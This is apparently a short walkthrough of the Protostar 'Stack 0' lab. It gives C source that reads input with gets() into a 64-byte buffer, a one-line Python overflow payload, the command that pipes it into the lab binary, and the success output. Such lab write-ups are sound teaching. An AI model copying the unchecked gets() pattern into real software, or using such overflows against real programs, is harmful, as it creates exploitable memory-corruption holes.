Stack 0 source
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
modified = 0;
gets(buffer);
if(modified != 0) {
printf("you have changed the 'modified' variable\n");
} else {
printf("Try again?\n");
}
}
Here is the code for cracking the program
Exploit python code (stack0.py)
print("A"*65)
Terminal command
python stack0.py | /opt/protostar/bin/stack0
Output
you have changed the 'modified' variable
This is a simple buffer overflow that overwrites an integer variable.